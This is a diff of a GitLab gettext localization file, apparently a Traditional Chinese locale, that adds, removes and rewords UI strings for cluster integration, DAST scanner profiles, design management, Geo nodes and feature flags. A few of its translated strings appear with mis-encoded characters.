-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,13 +5148,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5301,9 +5433,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,7 +5628,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,7 +5988,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "è©•è«–"
@@ -6220,7 +6370,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr ""
@@ -6937,6 +7103,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -6973,6 +7142,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -6997,6 +7169,9 @@ msgstr ""
msgid "Create project label"
msgstr "建立專案標籤"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "自定義通知事件"
@@ -7264,6 +7442,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7457,25 +7647,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7484,7 +7704,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7496,6 +7725,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7505,12 +7737,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7583,7 +7872,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7661,10 +7950,10 @@ msgstr "刪除"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7721,6 +8010,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7742,15 +8034,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7760,6 +8061,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7792,6 +8100,9 @@ msgstr[0] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7804,6 +8115,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7822,6 +8136,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7859,8 +8176,8 @@ msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgid "Deploy"
@@ -7903,7 +8220,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8137,13 +8454,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8176,15 +8502,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr "討論"
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr "編輯留言"
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -8951,9 +9271,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "è‹¥è¦æŽ’程基於里程碑的 Epic %{epicDateType} 日期,請å°ä»»ä½• Epic 中的議題指定 %{epicDateType} 日期的里程碑。"
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10833,12 +11144,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10866,12 +11171,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr "å¥åº·ä¿¡æ¯å¯ä»¥å¾žä»¥ä¸‹ç«¯é»žæª¢ç´¢ã€‚想了解更多信æ¯è«‹æŸ¥çœ‹
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "訪å•ä»¤ç‰Œæ˜¯"
@@ -12240,6 +12536,9 @@ msgstr "ä¸è‰¯"
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "説明"
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
